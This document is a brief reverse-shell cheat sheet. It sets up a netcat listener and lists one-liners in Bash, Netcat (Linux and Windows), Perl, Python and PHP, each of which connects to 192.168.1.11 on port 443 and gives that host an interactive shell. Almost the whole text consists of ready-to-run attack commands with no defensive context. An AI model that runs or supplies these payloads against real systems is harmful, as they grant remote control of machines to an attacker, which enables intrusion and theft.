set a listener:

nc -nvlp 443

Bash:

bash -i >& /dev/tcp/192.168.1.11/443 0>&1

Netcat

nc -nv 192.168.1.11 443 -e /bin/bash ##linux
nc.exe -nv 192.168.1.11 443 -e cmd   ##windows

Perl

perl -e 'use Socket;$i="192.168.1.11";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S ,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(" /bin/bash -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("192.168.1.11",443);exec("/bin/sh -i <&3 >&3 2>&3");'